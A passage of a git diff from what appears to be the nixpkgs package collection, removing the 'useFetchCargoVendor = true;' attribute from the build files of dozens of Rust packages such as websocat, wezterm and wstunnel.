diff --git a/pkgs/by-name/we/webdav-server-rs/package.nix b/pkgs/by-name/we/webdav-server-rs/package.nix
index 2d79878761f9..cef34065aa0a 100644
--- a/pkgs/by-name/we/webdav-server-rs/package.nix
+++ b/pkgs/by-name/we/webdav-server-rs/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage {
     sha256 = "sha256-nTygUEjAUXD0mRTmjt8/UPVfZA4rP6oop1s/fI5mYeg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-0Ee0L3gKNP1O3SFkImBzQrT1fgnWFrrW8owxEM1dUYQ=";
 
   buildInputs = [ libtirpc ] ++ lib.optional enablePAM pam;
diff --git a/pkgs/by-name/we/websocat/package.nix b/pkgs/by-name/we/websocat/package.nix
index 4a775312d789..af22e4ab2ef4 100644
--- a/pkgs/by-name/we/websocat/package.nix
+++ b/pkgs/by-name/we/websocat/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-v5+9cbKe3c12/SrW7mgN6tvQIiAuweqvMIl46Ce9f2A=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-KqtjewctX5M77aCIOpKpqlFEMs9QAzFP/v6KrZwiHb4=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/we/websurfx/package.nix b/pkgs/by-name/we/websurfx/package.nix
index b01fd801baf3..f93d0c649b20 100644
--- a/pkgs/by-name/we/websurfx/package.nix
+++ b/pkgs/by-name/we/websurfx/package.nix
@@ -27,8 +27,6 @@ rustPlatform.buildRustPackage {
     openssl
   ];
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-vjvSOhyEQPW8sw1SjVWGvtnpzHGbyah1ufhLBUq7Qcw=";
 
   postPatch = ''
diff --git a/pkgs/by-name/we/weggli/package.nix b/pkgs/by-name/we/weggli/package.nix
index 2f12a878274e..ec4738da6468 100644
--- a/pkgs/by-name/we/weggli/package.nix
+++ b/pkgs/by-name/we/weggli/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-6XSedsTUjcZzFXaNitsXlUBpxC6TYVMCB+AfH3x7c5E=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-vJd+4cZuDSGThnkUULhwEUFbHlkiIGyxT+1fWRUsIJk=";
 
   passthru.tests.version = testers.testVersion {
diff --git a/pkgs/by-name/we/weylus/package.nix b/pkgs/by-name/we/weylus/package.nix
index f12262da72c8..1ec1581e61e9 100644
--- a/pkgs/by-name/we/weylus/package.nix
+++ b/pkgs/by-name/we/weylus/package.nix
@@ -71,7 +71,6 @@ rustPlatform.buildRustPackage rec {
     libtool
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-dLhlYOrLjoBSRGDJB0qTEIb+oGnp9X+ADHddpYITdl8=";
 
   cargoBuildFlags = [ "--features=ffmpeg-system" ];
diff --git a/pkgs/by-name/we/wezterm/package.nix b/pkgs/by-name/we/wezterm/package.nix
index ed0e0f7e1573..1f1b02eb914b 100644
--- a/pkgs/by-name/we/wezterm/package.nix
+++ b/pkgs/by-name/we/wezterm/package.nix
@@ -60,7 +60,6 @@ rustPlatform.buildRustPackage rec {
   auditable = false;
 
   cargoHash = "sha256-9pdkXpkIbe5HeVGvgusRaI4A6ZjDGssO5k0ULVnO6k8=";
-  useFetchCargoVendor = true;
 
   nativeBuildInputs = [
     installShellFiles
diff --git a/pkgs/by-name/wg/wg-netmanager/package.nix b/pkgs/by-name/wg/wg-netmanager/package.nix
index bd5f76c3591e..762d96a615a4 100644
--- a/pkgs/by-name/wg/wg-netmanager/package.nix
+++ b/pkgs/by-name/wg/wg-netmanager/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-Mr4+TW1yOePEHa7puz6mTRJ514LGQeiEwPW3NKupV/M=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-LtZTfmVVUqxc9GAM6mLLmlJXBhLqnfrvBZWh0RWrR/0=";
 
   # Test 01 tries to create a wireguard interface, which requires sudo.
diff --git a/pkgs/by-name/wg/wgautomesh/package.nix b/pkgs/by-name/wg/wgautomesh/package.nix
index 3f7180bdf789..bdaa5e272881 100644
--- a/pkgs/by-name/wg/wgautomesh/package.nix
+++ b/pkgs/by-name/wg/wgautomesh/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-1xphnyuRMZEeq907nyhAW7iERYJLS1kxH0wRBsfYL40=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Lshj8L880gGLi5xY1H/7twrL3YHolqloOfXeckGw/VE=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/wg/wgpu-native/package.nix b/pkgs/by-name/wg/wgpu-native/package.nix
index 04e027819b7c..caf1e638e97e 100644
--- a/pkgs/by-name/wg/wgpu-native/package.nix
+++ b/pkgs/by-name/wg/wgpu-native/package.nix
@@ -26,7 +26,6 @@ rustPlatform.buildRustPackage rec {
     "dev"
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-sYwDbSglOS8h8XG5sC6yX5JfRmmmc8v8mxPBicoKxEU=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/wg/wgpu-utils/package.nix b/pkgs/by-name/wg/wgpu-utils/package.nix
index 0a1141b6319c..8995dbf0911d 100644
--- a/pkgs/by-name/wg/wgpu-utils/package.nix
+++ b/pkgs/by-name/wg/wgpu-utils/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-MoHpMdOKwCdQ2iO4O8WDskOQXgeFwpsD/UhQOhSbF70=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-l7V8awY17YxVyBzWV+BHRva7FczZQxJy8c6xve27gjs=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/wg/wgsl-analyzer/package.nix b/pkgs/by-name/wg/wgsl-analyzer/package.nix
index 60d047ee4d31..7bdcf45a0ddb 100644
--- a/pkgs/by-name/wg/wgsl-analyzer/package.nix
+++ b/pkgs/by-name/wg/wgsl-analyzer/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-t+Gpm+p2EaobuzUppkhCsaj3q/v+YjMSlau4GVoLgJo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-QjR0O/GFOsYi0+r3rYBdR9rw/4Qa5pNjWSbn6CsshqU=";
 
   checkFlags = [
diff --git a/pkgs/by-name/wh/when-cli/package.nix b/pkgs/by-name/wh/when-cli/package.nix
index 98d794c5a817..028c4318af26 100644
--- a/pkgs/by-name/wh/when-cli/package.nix
+++ b/pkgs/by-name/wh/when-cli/package.nix
@@ -12,7 +12,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-LWssrLl2HKul24N3bJdf2ePqeR4PCROrTiVY5sqzB2M=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ArrKKcTPfp71ltLh1eeEmanFa7B3nLj+jgj4CzINBY0=";
 
   meta = {
diff --git a/pkgs/by-name/wh/whitebox-tools/package.nix b/pkgs/by-name/wh/whitebox-tools/package.nix
index b8b432ef0b40..13df5fd3bc16 100644
--- a/pkgs/by-name/wh/whitebox-tools/package.nix
+++ b/pkgs/by-name/wh/whitebox-tools/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-kvtfEEydwonoDux1VbAxqrF/Hf8Qh8mhprYnROGOC6g=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-yQFGuhEGgkaa5N4uUIZ/0GFzP9CsPtiFet0hUppIQzQ=";
 
   buildInputs = [
diff --git a/pkgs/by-name/wi/wiki-tui/package.nix b/pkgs/by-name/wi/wiki-tui/package.nix
index 7257c65b558e..7438e5272fd1 100644
--- a/pkgs/by-name/wi/wiki-tui/package.nix
+++ b/pkgs/by-name/wi/wiki-tui/package.nix
@@ -24,7 +24,7 @@ rustPlatform.buildRustPackage rec {
     ncurses
     openssl
   ];
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-Pe6mNbn4GFjhpFZeWMlaRt7Bj5BLiIy789hXWkII2ps=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/wi/windmill/package.nix b/pkgs/by-name/wi/windmill/package.nix
index e75a953523d2..ebcc658b9e4a 100644
--- a/pkgs/by-name/wi/windmill/package.nix
+++ b/pkgs/by-name/wi/windmill/package.nix
@@ -64,7 +64,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
   };
 
   cargoHash = "sha256-6htM6p09mPUQmS+QVBDO7Y/tuwweHgA+W/E3XTNunB8=";
-  useFetchCargoVendor = true;
 
   buildFeatures = [
     "embedding"
diff --git a/pkgs/by-name/wi/windowtolayer/package.nix b/pkgs/by-name/wi/windowtolayer/package.nix
index 347dcbf23f77..7de4aaf37d20 100644
--- a/pkgs/by-name/wi/windowtolayer/package.nix
+++ b/pkgs/by-name/wi/windowtolayer/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage {
   };
 
   cargoHash = "sha256-XuSlbBLWUkPsA0DYC4qemvAGyynkkuznA5FGBKRmNso=";
-  useFetchCargoVendor = true;
 
   nativeBuildInputs = [
     python3
diff --git a/pkgs/by-name/wi/windsend-rs/package.nix b/pkgs/by-name/wi/windsend-rs/package.nix
index 74211afd0413..5bdbd6a79b63 100644
--- a/pkgs/by-name/wi/windsend-rs/package.nix
+++ b/pkgs/by-name/wi/windsend-rs/package.nix
@@ -25,8 +25,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-A0cmjllyhKkYsMyjeuuMCax0uVnaDp9OwJPY7peDjPM=";
   };
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-9zuD3korJGIcarBV0bSSV/g/Q0niWAMqgRfwpPXCuBU=";
 
   sourceRoot = "${src.name}/windSend-rs";
diff --git a/pkgs/by-name/wi/wiper/package.nix b/pkgs/by-name/wi/wiper/package.nix
index 40772f3986bd..318b9e01fc52 100644
--- a/pkgs/by-name/wi/wiper/package.nix
+++ b/pkgs/by-name/wi/wiper/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-IheSAPk1l6wJ2v4RLPIPvY/5XMfh+vJLyQ/Lc7RrCJQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-p2bUiRLI0vfOAAi4Cb8B9E8kMVS6aX4ksbF+H9gMsDs=";
 
   meta = {
diff --git a/pkgs/by-name/wi/wired/package.nix b/pkgs/by-name/wi/wired/package.nix
index f6a189d9b175..dd13a9e2bfc1 100644
--- a/pkgs/by-name/wi/wired/package.nix
+++ b/pkgs/by-name/wi/wired/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-AWIV/+vVwDZECZ4lFMSFyuyUKJc/gb72PiBJv6lbhnc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-xE6r8l3d9WAXf4DsGbhEiaeMPs02kXY2dG9dk0/7flQ=";
 
   strictDeps = true;
diff --git a/pkgs/by-name/wi/wishbone-tool/package.nix b/pkgs/by-name/wi/wishbone-tool/package.nix
index 053021fe29f9..c75d6921cd2a 100644
--- a/pkgs/by-name/wi/wishbone-tool/package.nix
+++ b/pkgs/by-name/wi/wishbone-tool/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage {
 
   sourceRoot = "${src.name}/wishbone-tool";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-YJEsTGnBUkQ35VOwZQeBbO3RZqglLYm2xecmIS4jiZM=";
 
   buildInputs = [ libusb-compat-0_1 ];
diff --git a/pkgs/by-name/wi/wit-bindgen/package.nix b/pkgs/by-name/wi/wit-bindgen/package.nix
index 08c6e77e3327..fa270b4645ce 100644
--- a/pkgs/by-name/wi/wit-bindgen/package.nix
+++ b/pkgs/by-name/wi/wit-bindgen/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-zj+O8Rp/KXvDYCew0k5veBUokR91CGEIan398/mPY8w=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-epvE6qSKVUudqHXPJG5mP2X7xlR5XSm3UWDzZK0gHyA=";
 
   # Some tests fail because they need network access to install the `wasm32-unknown-unknown` target.
diff --git a/pkgs/by-name/wi/wizer/package.nix b/pkgs/by-name/wi/wizer/package.nix
index d3e3d359def4..17c5aa726c96 100644
--- a/pkgs/by-name/wi/wizer/package.nix
+++ b/pkgs/by-name/wi/wizer/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-NaYHrjm5CGPWT5Pa1EdXS9fswj5NDWQye2pBQk+PKuk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-OI7/PLP0Au7FrQ9KUTBTSE9r8kJBA3gbcHe060KALHw=";
 
   cargoBuildFlags = [
diff --git a/pkgs/by-name/wl/wl-clip-persist/package.nix b/pkgs/by-name/wl/wl-clip-persist/package.nix
index cd7704ef7f3f..1a8f3abb2386 100644
--- a/pkgs/by-name/wl/wl-clip-persist/package.nix
+++ b/pkgs/by-name/wl/wl-clip-persist/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-dFhHsBazBHVWgPxoRDNwh8Yctt4w64E0RyFaHEC4mvk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-x2kNWFfHgzoSSD75Cp3noiq61zlBnmz9twwTAlBBL9w=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/wl/wl-clipboard-rs/package.nix b/pkgs/by-name/wl/wl-clipboard-rs/package.nix
index d3cf2db0d8d7..715b622a1204 100644
--- a/pkgs/by-name/wl/wl-clipboard-rs/package.nix
+++ b/pkgs/by-name/wl/wl-clipboard-rs/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-jGTWcVR6atkEeEUunystJ4B6I3GzYiCOMs0MC6pvPfI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-6HNSQ27PGhF6tt12jdu6llDUZ/tYsFwx2pCJx3mKm/E=";
 
   cargoBuildFlags = [
diff --git a/pkgs/by-name/wl/wl-crosshair/package.nix b/pkgs/by-name/wl/wl-crosshair/package.nix
index adf8d08bf3ca..30b8f8b3afb5 100644
--- a/pkgs/by-name/wl/wl-crosshair/package.nix
+++ b/pkgs/by-name/wl/wl-crosshair/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-q5key9BWJjJQqECrhflso9ZTzULBeScvromo0S4fjqE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-34K8Vjb7MrB8WGGLase+GnN2bUDuAnvU6VWRV1k+ZYM=";
 
   nativeBuildInputs = [ makeBinaryWrapper ];
diff --git a/pkgs/by-name/wl/wl-gammarelay-applet/package.nix b/pkgs/by-name/wl/wl-gammarelay-applet/package.nix
index 017a1cd86eee..ecdd2cc82846 100644
--- a/pkgs/by-name/wl/wl-gammarelay-applet/package.nix
+++ b/pkgs/by-name/wl/wl-gammarelay-applet/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage {
     sha256 = "sha256-t6bycmaquZ0IMs/WnAzkz5FnIWKIq0BTbeeoUFLeuYg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-XrU519ibku7OMKxt51gzVOZVOiqgdrBrxAJuBIcAtgc=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/wl/wl-gammarelay-rs/package.nix b/pkgs/by-name/wl/wl-gammarelay-rs/package.nix
index a9cea8534b54..14d847073b54 100644
--- a/pkgs/by-name/wl/wl-gammarelay-rs/package.nix
+++ b/pkgs/by-name/wl/wl-gammarelay-rs/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-zmtC4xNNAK/TiB5TU6qsY5y0Z3roaEnTwHMZPjq6SbE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-UVkNA+AsW8pbT8UhlsoeddOwO+XUO/+y0q4VwzkY/D8=";
 
   meta = {
diff --git a/pkgs/by-name/wl/wl-screenrec/package.nix b/pkgs/by-name/wl/wl-screenrec/package.nix
index 2c82f0e328ce..b1c259e0c03e 100644
--- a/pkgs/by-name/wl/wl-screenrec/package.nix
+++ b/pkgs/by-name/wl/wl-screenrec/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-07O2YM9dOHWzriM2+uiBWjEt2hKAuXtRtnKBuzb02Us=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-nwABNqJNqgBVwD860lSu9mcEgty/GbSYmPys3xp535Q=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/wl/wldash/package.nix b/pkgs/by-name/wl/wldash/package.nix
index b333f08f1ac9..bdf892c19d22 100644
--- a/pkgs/by-name/wl/wldash/package.nix
+++ b/pkgs/by-name/wl/wldash/package.nix
@@ -54,7 +54,6 @@ rustPlatform.buildRustPackage {
     ./0002-Update-fontconfig.patch
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-gvIsm6D6ZvRm0APw+xpayY+yt2IedMpWoa/hmvIpmV8=";
 
   dontPatchELF = true;
diff --git a/pkgs/by-name/wl/wleave/package.nix b/pkgs/by-name/wl/wleave/package.nix
index f29345c0afca..b789abe99339 100644
--- a/pkgs/by-name/wl/wleave/package.nix
+++ b/pkgs/by-name/wl/wleave/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-xl0JOepQDvYdeTv0LFYzp8QdufKXkayJcHklLBjupeA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-csnArsVk/Ifhi3aO3bSG0mkSA81KACxR/xC1L8JJfmc=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/wl/wlink/package.nix b/pkgs/by-name/wl/wlink/package.nix
index 9ab23435169d..d4a3cfcf9b50 100644
--- a/pkgs/by-name/wl/wlink/package.nix
+++ b/pkgs/by-name/wl/wlink/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-YxozhEJh/KBirlA6ymIEbJY3r7wYSeTL40W2xQLyue0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Hv+W8yFw6zAKwrV6gf9fWOkR/LFNgAD7WwQsHBqTnPI=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/wl/wlr-which-key/package.nix b/pkgs/by-name/wl/wlr-which-key/package.nix
index fa49d11db5e0..f3be0584e366 100644
--- a/pkgs/by-name/wl/wlr-which-key/package.nix
+++ b/pkgs/by-name/wl/wlr-which-key/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-BEf1qpy0bVPi5nmu3UUiv8k0bJvE5VFB5Zqb5lS0+t4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-409PW1Ya38imGqtrVqOI50yJa49/RjB68yGQZSvyYd0=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/wl/wluma/package.nix b/pkgs/by-name/wl/wluma/package.nix
index 7de4756258e2..b58a783753be 100644
--- a/pkgs/by-name/wl/wluma/package.nix
+++ b/pkgs/by-name/wl/wluma/package.nix
@@ -34,7 +34,6 @@ rustPlatform.buildRustPackage rec {
       'ExecStart=/usr/bin/wluma' 'ExecStart=${placeholder "out"}/bin/wluma'
   '';
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-+uJ9SytwucYiuzTwdKTAfHb81LyV9NZmGOlzm6Qjftw=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/wl/wlx-overlay-s/package.nix b/pkgs/by-name/wl/wlx-overlay-s/package.nix
index f34c70f0d683..a6a77dd7a82a 100644
--- a/pkgs/by-name/wl/wlx-overlay-s/package.nix
+++ b/pkgs/by-name/wl/wlx-overlay-s/package.nix
@@ -35,7 +35,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-lWUfhiHRxu72p9ZG2f2fZH6WZECm/fOKcK05MLZV+MI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-em5sWSty2/pZp2jTwBnLUIBgPOcoMpwELwj984XYf+k=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/wo/woomer/package.nix b/pkgs/by-name/wo/woomer/package.nix
index cafcacacd82b..1c4f425b3e7e 100644
--- a/pkgs/by-name/wo/woomer/package.nix
+++ b/pkgs/by-name/wo/woomer/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-LcL43Wq+5d7HPsm2bEK0vZsjP/dixtNhMKywXMi4ODw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-xll/A0synEsXy9kPThA3bR8LRuAOQH0T6CAfIEoYJ0w=";
 
   strictDeps = true;
diff --git a/pkgs/by-name/wo/worker-build/package.nix b/pkgs/by-name/wo/worker-build/package.nix
index 72be72e33f8d..0cf87e00ecfc 100644
--- a/pkgs/by-name/wo/worker-build/package.nix
+++ b/pkgs/by-name/wo/worker-build/package.nix
@@ -15,8 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-eMuuEqHBiwgz7DKimYuK9MUPT4vnOU8rLOIIq8zsTao=";
   };
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-yzuyenWAdj5tEdUFGxSfBU4m3w1YCCrnbajPMYMGSkI=";
 
   buildAndTestSubdir = "worker-build";
diff --git a/pkgs/by-name/wo/workshop-runner/package.nix b/pkgs/by-name/wo/workshop-runner/package.nix
index ed44154c1f0f..4c24da977500 100644
--- a/pkgs/by-name/wo/workshop-runner/package.nix
+++ b/pkgs/by-name/wo/workshop-runner/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-PfQPRbOPK1Y/j8Xtg78oDzBFUx8eiM3ZwRul/ao0SgI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-opV2IrqMIwdgrXY6V0jxFtrdP8NVmdlUdsLdfFNimt0=";
 
   meta = {
diff --git a/pkgs/by-name/wp/wpaperd/package.nix b/pkgs/by-name/wp/wpaperd/package.nix
index f2cf041a677b..cc514eda55fc 100644
--- a/pkgs/by-name/wp/wpaperd/package.nix
+++ b/pkgs/by-name/wp/wpaperd/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-mBdrOmS+e+Npei5+RmtbTkBCGR8L5O83hulNU1z0Akk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-d8jzoNCn9J36SE4tQZ1orgOfFGbhVtHaaO940b3JxmQ=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/wp/wprs/package.nix b/pkgs/by-name/wp/wprs/package.nix
index 34f496e58e3d..860b81bf8b41 100644
--- a/pkgs/by-name/wp/wprs/package.nix
+++ b/pkgs/by-name/wp/wprs/package.nix
@@ -28,7 +28,6 @@ rustPlatform.buildRustPackage {
     (python3.withPackages (pp: with pp; [ psutil ]))
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-caf1d7SdAEc5RUDQCQkxlYw073gIUwlnvlVaX8gJGmc=";
 
   preFixup = ''
diff --git a/pkgs/by-name/wr/wrangler_1/package.nix b/pkgs/by-name/wr/wrangler_1/package.nix
index 203f6af3c13a..af2f11ec94d2 100644
--- a/pkgs/by-name/wr/wrangler_1/package.nix
+++ b/pkgs/by-name/wr/wrangler_1/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-GfuU+g4tPU3TorzymEa9q8n4uKYsG0ZTz8rJirGOLfQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-MJFXcmRzvzDJ8cd0WdcNiHr3Wxgp/hKO1xKRfmbxRLA=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/wr/writedisk/package.nix b/pkgs/by-name/wr/writedisk/package.nix
index fc52cafc1f3a..595251230ffd 100644
--- a/pkgs/by-name/wr/writedisk/package.nix
+++ b/pkgs/by-name/wr/writedisk/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-MZFnNb8rJMu/nlH8rfnD//bhqPSkhyXucbTrwsRM9OY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-2Vc0vCQJY2enwTAgaRgqLdCTtF5znrF3xaCTvF44XX0=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ws/wstunnel/package.nix b/pkgs/by-name/ws/wstunnel/package.nix
index 8ca36ac2007f..7605a3edf937 100644
--- a/pkgs/by-name/ws/wstunnel/package.nix
+++ b/pkgs/by-name/ws/wstunnel/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-j4JJWa8y9fAiCcnFQY9u67XPb6m9cY7Q6p0cxHPQQzc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-9YAjC5XBRcXYmQoYs9FoxbVtFoM9hvAweLfrodtj+bw=";
 
   cargoBuildFlags = [ "--package wstunnel-cli" ];
diff --git a/pkgs/by-name/wt/wthrr/package.nix b/pkgs/by-name/wt/wthrr/package.nix
index 622e19bf5ce4..8c807433a1e5 100644
--- a/pkgs/by-name/wt/wthrr/package.nix
+++ b/pkgs/by-name/wt/wthrr/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-8o84FFdcEPRtbsxWCc97tTGGownxlhpIM71GiBRT6uM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-q2WkdSb6UKY1/Aut3W70vCQPsqhqv6DPuT40RaGZWAM=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/wt/wttrbar/package.nix b/pkgs/by-name/wt/wttrbar/package.nix
index 6d334268964a..6a0dd9f98fb9 100644
--- a/pkgs/by-name/wt/wttrbar/package.nix
+++ b/pkgs/by-name/wt/wttrbar/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-+M0s6v9ULf+D2pPOE8KlHoyV+jBMbPsAXpYxGjms5DY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-sv9hSTmq5J6s0PPBMJgaMUWBaRk0/NJV41nNDIj6MoY=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/wy/wyvern/package.nix b/pkgs/by-name/wy/wyvern/package.nix
index 55bb7fe1f29c..d34a94ab5080 100644
--- a/pkgs/by-name/wy/wyvern/package.nix
+++ b/pkgs/by-name/wy/wyvern/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
 
   cargoPatches = [ ./cargo-lock.patch ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3zcXHl/CK5p/5BpGwafMYF/ztE6Erid9nS49vRFyPfE=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/x4/x4/package.nix b/pkgs/by-name/x4/x4/package.nix
index c7a7e4108e5c..21e25c496e2e 100644
--- a/pkgs/by-name/x4/x4/package.nix
+++ b/pkgs/by-name/x4/x4/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-IF+8lu56fzYM79p7MiNpVLFIs2GKPlzw5pNXD/hT6BM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-iWLRXi7Xt4FQPgXGhk6+mDi1T+Jxrvh7S4myL0cYXec=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/xa/xan/package.nix b/pkgs/by-name/xa/xan/package.nix
index 4e643c5d6f12..5f49a4f091d8 100644
--- a/pkgs/by-name/xa/xan/package.nix
+++ b/pkgs/by-name/xa/xan/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
   };
 
   cargoHash = "sha256-BagQNDWOhyz2x2TvwYvlE07rU9RuHQHGAVAZu0JbfgE=";
-  useFetchCargoVendor = true;
 
   # FIXME: tests fail and I do not have the time to investigate. Temporarily disable
   # tests so that we can manually run and test the package for packaging purposes.
diff --git a/pkgs/by-name/xc/xcolor/package.nix b/pkgs/by-name/xc/xcolor/package.nix
index b85df70ff98a..674cf14c05e6 100644
--- a/pkgs/by-name/xc/xcolor/package.nix
+++ b/pkgs/by-name/xc/xcolor/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-NfmoBZek4hsga6RflE5EKkWarhCFIcTwEXhg2fpkxNE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-8hx8c0LvzI2T/kONq29XzCbFGGMiO1J0XXxbzi+FSxM=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/xc/xcp/package.nix b/pkgs/by-name/xc/xcp/package.nix
index be16eedd941b..a055ead1b61b 100644
--- a/pkgs/by-name/xc/xcp/package.nix
+++ b/pkgs/by-name/xc/xcp/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
   # no such file or directory errors
   doCheck = false;
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-9cNu0cgoo0/41daJwy/uWIXa2wFhYkcPhJfA/69DVx0=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/xd/xdg-desktop-portal-cosmic/package.nix b/pkgs/by-name/xd/xdg-desktop-portal-cosmic/package.nix
index 50b6e472e6d8..88f98807dde2 100644
--- a/pkgs/by-name/xd/xdg-desktop-portal-cosmic/package.nix
+++ b/pkgs/by-name/xd/xdg-desktop-portal-cosmic/package.nix
